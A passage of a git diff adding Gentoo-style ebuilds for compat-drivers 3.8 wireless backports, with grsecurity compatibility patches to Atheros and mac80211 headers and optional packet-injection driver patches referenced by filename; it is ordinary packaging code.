+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat drivers you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use compat_drivers_wifi_b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+}
+
+src_prepare() {
+	if use pax_kernel; then
+		for gpatch in "${FILESDIR}"/3.8-grsec/*; do
+			epatch "${gpatch}"
+		done
+	fi
+	# upstream might want to see this
+	epatch "${FILESDIR}"/${PN}-3.8-bt_tty.patch
+	epatch "${FILESDIR}"/${PN}-3.8-ath6kl.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	if use noleds; then
+		sed -ir 's/^\(export CONFIG_.*_LEDS=\)y$/\1n/' config.mk
+		epatch "${FILESDIR}/leds-disable-strict-${PV}.patch"
+	fi
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+
+	# replace scripts/driver-select
+	# TODO: convince upstream to adopt this script
+	cp "${FILESDIR}/${PF}-driver-select" scripts/driver-select || \
+		die "Replacing driver-select failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README.md
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/sys-kernel/compat-drivers/compat-drivers-3.8_rc5.ebuild b/sys-kernel/compat-drivers/compat-drivers-3.8_rc5.ebuild
new file mode 100644
index 00000000..710ad2b8
--- /dev/null
+++ b/sys-kernel/compat-drivers/compat-drivers-3.8_rc5.ebuild
@@ -0,0 +1,176 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+# USE_EXPAND categories
+CPD_USE_EXPAND="wifi ethernet various"
+# These are officially supported
+CPD_USE_EXPAND_wifi="ath5k ath9k ath9k_ap ath9k_htc ath6kl b43 brcmsmac brcmfmac carl9170 rt2x00 wl1251 wl12xx zd1211rw"
+# This might work (not officially supported)
+CPD_USE_EXPAND_wifi+=" wl18xx"
+# This might work (added by pentoo)
+CPD_USE_EXPAND_wifi+=" b44"
+
+# These are officially supported
+CPD_USE_EXPAND_ethernet="atl1 atl1c atl1e atl2"
+# This might work (not officially supported)
+CPD_USE_EXPAND_ethernet+=" atlxx"
+
+# These are officially supported
+CPD_USE_EXPAND_various="i915"
+# This might work (not officially supported)
+CPD_USE_EXPAND_various+=" bt drm"
+# This might work (added by pentoo)
+CPD_USE_EXPAND_various+=" staging usbnet"
+
+inherit linux-mod linux-info versionator eutils compat-drivers-3.7
+
+# upstream versioning, ex.: 3.7-rc1-6
+UPSTREAM_PVR="${PV//_/-}" && UPSTREAM_PVR="${UPSTREAM_PVR/-p/-}"
+# ex.: 3.7-rc1
+UPSTREAM_PV=${UPSTREAM_PVR%-*}
+
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://backports.wiki.kernel.org"
+SRC_URI="mirror://kernel/linux/kernel/projects/backports/stable/v${UPSTREAM_PVR}/${PN}-${UPSTREAM_PVR}-1-u.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder
+	!net-wireless/compat-wireless"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}/${PN}-${UPSTREAM_PVR}-1-u"
+
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat drivers to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat drivers you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use compat_drivers_wifi_b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use compat_drivers_wifi_b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	use pax_kernel && epatch "${FILESDIR}"/${PN}-3.7_rc1_p6-grsec.patch
+	use pax_kernel && epatch "${FILESDIR}"/${PN}-3.7_rc1_p6-grsec-warnings.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	if use noleds; then
+		sed -ir 's/^\(export CONFIG_.*_LEDS=\)y$/\1n/' config.mk
+		epatch "${FILESDIR}/leds-disable-strict-${PV}.patch"
+	fi
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README.md
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/sys-kernel/compat-drivers/compat-drivers-3.8_rc7.ebuild b/sys-kernel/compat-drivers/compat-drivers-3.8_rc7.ebuild
new file mode 100644
index 00000000..48059958
--- /dev/null
+++ b/sys-kernel/compat-drivers/compat-drivers-3.8_rc7.ebuild
@@ -0,0 +1,184 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="5"
+
+# USE_EXPAND categories
+CPD_USE_EXPAND="wifi ethernet various"
+# These are officially supported
+CPD_USE_EXPAND_wifi="ath5k ath9k ath9k_ap ath9k_htc ath6kl b43 brcmsmac brcmfmac carl9170 rt2x00 wil6210 wl1251 wl12xx zd1211rw"
+# This might work (not officially supported)
+CPD_USE_EXPAND_wifi+=" wl18xx"
+# This might work (added by pentoo)
+CPD_USE_EXPAND_wifi+=" b44"
+
+# These are officially supported
+CPD_USE_EXPAND_ethernet="alx atl1 atl1c atl1e atl2"
+# This might work (not officially supported)
+CPD_USE_EXPAND_ethernet+=" atlxx"
+
+# These are officially supported
+CPD_USE_EXPAND_various="i915"
+# This might work (not officially supported)
+CPD_USE_EXPAND_various+=" bt drm"
+# This might work (added by pentoo)
+CPD_USE_EXPAND_various+=" staging usbnet"
+
+inherit linux-mod linux-info versionator eutils compat-drivers-3.8
+
+# upstream versioning, ex.: 3.7-rc1-6
+UPSTREAM_PVR="${PV//_/-}" && UPSTREAM_PVR="${UPSTREAM_PVR/-p/-}"
+# ex.: 3.7-rc1
+UPSTREAM_PV=${UPSTREAM_PVR%-*}
+
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://backports.wiki.kernel.org"
+SRC_URI="mirror://kernel/linux/kernel/projects/backports/stable/v${UPSTREAM_PVR}/${PN}-${UPSTREAM_PVR}-1-u.tar.xz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS=""
+
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection livecd loadmodules noleds pax_kernel"
+
+DEPEND="!net-wireless/compat-wireless-builder
+	!net-wireless/compat-wireless"
+RDEPEND="${DEPEND}
+	>=sys-kernel/linux-firmware-20110219
+	virtual/udev"
+
+S="${WORKDIR}/${PN}-${UPSTREAM_PVR}-1-u"
+
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	CONFIG_CHECK="~NET_SCHED"
+	CONFIG_CHECK="~IPW2200_PROMISCUOUS"
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat drivers to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat drivers you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+
+	#these things are not optional
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+	linux_chkconfig_module LIBIPW || ewarn "CONFIG_LIBIPW really should be set or there will be no WEXT compat"
+
+	if use compat_drivers_wifi_b43; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b43"
+	fi
+	if use compat_drivers_wifi_b44; then
+		linux_chkconfig_module SSB || die "You need to enable CONFIG_SSB or USE=-b44"
+	fi
+}
+
+src_prepare() {
+	# use pax_kernel && epatch "${FILESDIR}"/${PN}-3.7_rc1_p6-grsec.patch
+	# use pax_kernel && epatch "${FILESDIR}"/${PN}-3.8-grsec-readonly.patch
+	if use pax_kernel; then
+		for gpatch in "${FILESDIR}"/3.8-grsec/*; do
+			epatch "${gpatch}"
+		done
+	fi
+	# upstream might want to see this
+	use pax_kernel && epatch "${FILESDIR}"/${PN}-3.8-bt_tty.patch
+	# use pax_kernel && epatch "${FILESDIR}"/${PN}-3.7_rc1_p6-grsec-warnings.patch
+
+	#mcgrof said prep for inclusion in compat-wireless.git but this causes issues
+	#find "${S}" -name Makefile | xargs sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' -e 's/CONFIG_COMPAT_CHECK/CONFIG_CHECK/'
+	#sed -i -e 's/export CONFIG_/export CONFIG_COMPAT_/' -e 's/COMPAT_COMPAT_/COMPAT_/' "${S}"/config.mk
+
+	# CONFIG_CFG80211_REG_DEBUG=y
+	sed -i '/CFG80211_REG_DEBUG/s/^# *//' "${S}"/config.mk
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		epatch "${FILESDIR}"/ath_regd_optional.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/4002_mac80211-2.6.29-fix-tx-ctl-no-ack-retry-count.patch
+		epatch "${FILESDIR}"/4004_zd1211rw-2.6.28.patch
+	#	epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+	#	epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/ipw2200-inject.3.4.6.patch
+	fi
+	if use noleds; then
+		sed -ir 's/^\(export CONFIG_.*_LEDS=\)y$/\1n/' config.mk
+		epatch "${FILESDIR}/leds-disable-strict-${PV}.patch"
+	fi
+	use debug-driver && sed -i '/DEBUG=y/s/^# *//' "${S}"/config.mk
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+
+	#avoid annoying ACCESS DENIED sandbox errors
+	sed -i "s/\${MAKE} -C \${KLIB_BUILD} kernelversion/echo ${KV_FULL}/g" compat/scripts/gen-compat-config.sh || die "sed failed"
+	sed -i "s/shell \$(MAKE) -C \$(KLIB_BUILD) kernelversion/echo ${KV_FULL}/g" config.mk || die "sed failed"
+	sed -i "s/make -C \$KLIB_BUILD kernelversion/echo ${KV_FULL}/g" scripts/gen-compat-autoconf.sh || die "sed failed"
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KLIB_BUILD="${DESTDIR}"/lib/modules/"${KV_FULL}"/build || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/unload.sh
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh
+
+	dodoc README.md
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+
+	if use !livecd; then
+		if use loadmodules; then
+			einfo "Attempting to unload modules..."
+			/usr/sbin/unload.sh 2>&1 | grep -E FATAL && ewarn "Unable to remove running modules, system may be unhappy, reboot HIGHLY recommended!"
+			einfo "Triggering automatic reload of needed modules..."
+			/sbin/udevadm trigger
+			einfo "We have attempted to load your new modules for you, this may fail horribly, or may just cause a network hiccup."
+			einfo "If you experience any issues reboot is the simplest course of action."
+		fi
+	fi
+	if use !loadmodules; then
+		einfo "You didn't USE=loadmodules but you can still attempt to switch to the new drivers without reboot."
+		einfo "Run 'unload.sh' then 'udevadm trigger' to cause udev to load the	needed drivers."
+		einfo "If unload.sh fails for some reason you should be able to simply reboot to fix everything and load the new modules."
+	fi
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/00-read-only.patch b/sys-kernel/compat-drivers/files/3.8-grsec/00-read-only.patch
new file mode 100644
index 00000000..a7066c36
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/00-read-only.patch
@@ -0,0 +1,23 @@
+--- ./include/net/bluetooth/bluetooth.h
++++ ./include/net/bluetooth/bluetooth.h
+@@ -206,7 +206,7 @@
+         struct file_operations   fops;
+         int (* custom_seq_show)(struct seq_file *, void *);
+ #endif
+-};
++} __no_const;
+ 
+ int  bt_sock_register(int proto, const struct net_proto_family *ops);
+ int  bt_sock_unregister(int proto);
+--- ./include/net/mac80211.h
++++ ./include/net/mac80211.h
+@@ -2652,7 +2652,7 @@
+ 				     struct ieee80211_chanctx_conf *ctx);
+ 
+ 	void (*restart_complete)(struct ieee80211_hw *hw);
+-};
++} __no_const;
+ 
+ /**
+  * ieee80211_alloc_hw -  Allocate a new hardware device
+
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/01-read-only.patch b/sys-kernel/compat-drivers/files/3.8-grsec/01-read-only.patch
new file mode 100644
index 00000000..88ecf46f
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/01-read-only.patch
@@ -0,0 +1,12 @@
+How/why does this even work?
+--- ./net/wireless/core.h
++++ ./net/wireless/core.h
+@@ -28,7 +28,7 @@
+ 	struct mutex mtx;
+ 
+ 	/* rfkill support */
+-	struct rfkill_ops rfkill_ops;
++	rfkill_ops_no_const rfkill_ops;
+ 	struct rfkill *rfkill;
+ 	struct work_struct rfkill_sync;
+ 
diff --git a/sys-kernel/compat-drivers/files/3.8-grsec/02-read-only-ath.patch b/sys-kernel/compat-drivers/files/3.8-grsec/02-read-only-ath.patch
new file mode 100644
index 00000000..ddb69f6b
--- /dev/null
+++ b/sys-kernel/compat-drivers/files/3.8-grsec/02-read-only-ath.patch
@@ -0,0 +1,240 @@
+--- ./drivers/net/wireless/ath/ath.h
++++ ./drivers/net/wireless/ath/ath.h
+@@ -119,6 +119,7 @@ struct ath_ops {
+ 	void (*write_flush) (void *);
+ 	u32 (*rmw)(void *, u32 reg_offset, u32 set, u32 clr);
+ };
++typedef struct ath_ops __no_const ath_ops_no_const;
+ 
+ struct ath_common;
+ struct ath_bus_ops;
+--- ./drivers/net/wireless/ath/ath9k/ar9002_mac.c
++++ ./drivers/net/wireless/ath/ath9k/ar9002_mac.c
+@@ -184,8 +184,8 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 	ads->ds_txstatus6 = ads->ds_txstatus7 = 0;
+ 	ads->ds_txstatus8 = ads->ds_txstatus9 = 0;
+ 
+-	ACCESS_ONCE(ads->ds_link) = i->link;
+-	ACCESS_ONCE(ads->ds_data) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->ds_link) = i->link;
++	ACCESS_ONCE_RW(ads->ds_data) = i->buf_addr[0];
+ 
+ 	ctl1 = i->buf_len[0] | (i->is_last ? 0 : AR_TxMore);
+ 	ctl6 = SM(i->keytype, AR_EncrType);
+@@ -199,26 +199,26 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 
+ 	if ((i->is_first || i->is_last) &&
+ 	    i->aggr != AGGR_BUF_MIDDLE && i->aggr != AGGR_BUF_LAST) {
+-		ACCESS_ONCE(ads->ds_ctl2) = set11nTries(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl2) = set11nTries(i->rates, 0)
+ 			| set11nTries(i->rates, 1)
+ 			| set11nTries(i->rates, 2)
+ 			| set11nTries(i->rates, 3)
+ 			| (i->dur_update ? AR_DurUpdateEna : 0)
+ 			| SM(0, AR_BurstDur);
+ 
+-		ACCESS_ONCE(ads->ds_ctl3) = set11nRate(i->rates, 0)
++		ACCESS_ONCE_RW(ads->ds_ctl3) = set11nRate(i->rates, 0)
+ 			| set11nRate(i->rates, 1)
+ 			| set11nRate(i->rates, 2)
+ 			| set11nRate(i->rates, 3);
+ 	} else {
+-		ACCESS_ONCE(ads->ds_ctl2) = 0;
+-		ACCESS_ONCE(ads->ds_ctl3) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl2) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl3) = 0;
+ 	}
+ 
+ 	if (!i->is_first) {
+-		ACCESS_ONCE(ads->ds_ctl0) = 0;
+-		ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-		ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++		ACCESS_ONCE_RW(ads->ds_ctl0) = 0;
++		ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++		ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 		return;
+ 	}
+ 
+@@ -243,7 +243,7 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		break;
+ 	}
+ 
+-	ACCESS_ONCE(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
++	ACCESS_ONCE_RW(ads->ds_ctl0) = (i->pkt_len & AR_FrameLen)
+ 		| (i->flags & ATH9K_TXDESC_VMF ? AR_VirtMoreFrag : 0)
+ 		| SM(i->txpower, AR_XmitPower)
+ 		| (i->flags & ATH9K_TXDESC_VEOL ? AR_VEOL : 0)
+@@ -253,19 +253,19 @@ ar9002_set_txdesc(struct ath_hw *ah, voi
+ 		| (i->flags & ATH9K_TXDESC_RTSENA ? AR_RTSEnable :
+ 		   (i->flags & ATH9K_TXDESC_CTSENA ? AR_CTSEnable : 0));
+ 
+-	ACCESS_ONCE(ads->ds_ctl1) = ctl1;
+-	ACCESS_ONCE(ads->ds_ctl6) = ctl6;
++	ACCESS_ONCE_RW(ads->ds_ctl1) = ctl1;
++	ACCESS_ONCE_RW(ads->ds_ctl6) = ctl6;
+ 
+ 	if (i->aggr == AGGR_BUF_MIDDLE || i->aggr == AGGR_BUF_LAST)
+ 		return;
+ 
+-	ACCESS_ONCE(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl4) = set11nPktDurRTSCTS(i->rates, 0)
+ 		| set11nPktDurRTSCTS(i->rates, 1);
+ 
+-	ACCESS_ONCE(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
++	ACCESS_ONCE_RW(ads->ds_ctl5) = set11nPktDurRTSCTS(i->rates, 2)
+ 		| set11nPktDurRTSCTS(i->rates, 3);
+ 
+-	ACCESS_ONCE(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
++	ACCESS_ONCE_RW(ads->ds_ctl7) = set11nRateFlags(i->rates, 0)
+ 		| set11nRateFlags(i->rates, 1)
+ 		| set11nRateFlags(i->rates, 2)
+ 		| set11nRateFlags(i->rates, 3)
+--- ./drivers/net/wireless/ath/ath9k/ar9003_mac.c
++++ ./drivers/net/wireless/ath/ath9k/ar9003_mac.c
+@@ -39,47 +39,47 @@ ar9003_set_txdesc(struct ath_hw *ah, voi
+ 	      (i->qcu << AR_TxQcuNum_S) | desc_len;
+ 
+ 	checksum += val;
+-	ACCESS_ONCE(ads->info) = val;
++	ACCESS_ONCE_RW(ads->info) = val;
+ 
+ 	checksum += i->link;
+-	ACCESS_ONCE(ads->link) = i->link;
++	ACCESS_ONCE_RW(ads->link) = i->link;
+ 
+ 	checksum += i->buf_addr[0];
+-	ACCESS_ONCE(ads->data0) = i->buf_addr[0];
++	ACCESS_ONCE_RW(ads->data0) = i->buf_addr[0];
+ 	checksum += i->buf_addr[1];
+-	ACCESS_ONCE(ads->data1) = i->buf_addr[1];
++	ACCESS_ONCE_RW(ads->data1) = i->buf_addr[1];
+ 	checksum += i->buf_addr[2];
+-	ACCESS_ONCE(ads->data2) = i->buf_addr[2];
++	ACCESS_ONCE_RW(ads->data2) = i->buf_addr[2];
+ 	checksum += i->buf_addr[3];
+-	ACCESS_ONCE(ads->data3) = i->buf_addr[3];
++	ACCESS_ONCE_RW(ads->data3) = i->buf_addr[3];
+ 
+ 	checksum += (val = (i->buf_len[0] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl3) = val;
++	ACCESS_ONCE_RW(ads->ctl3) = val;
+ 	checksum += (val = (i->buf_len[1] << AR_BufLen_S) & AR_BufLen);
+-	ACCESS_ONCE(ads->ctl5) = val;
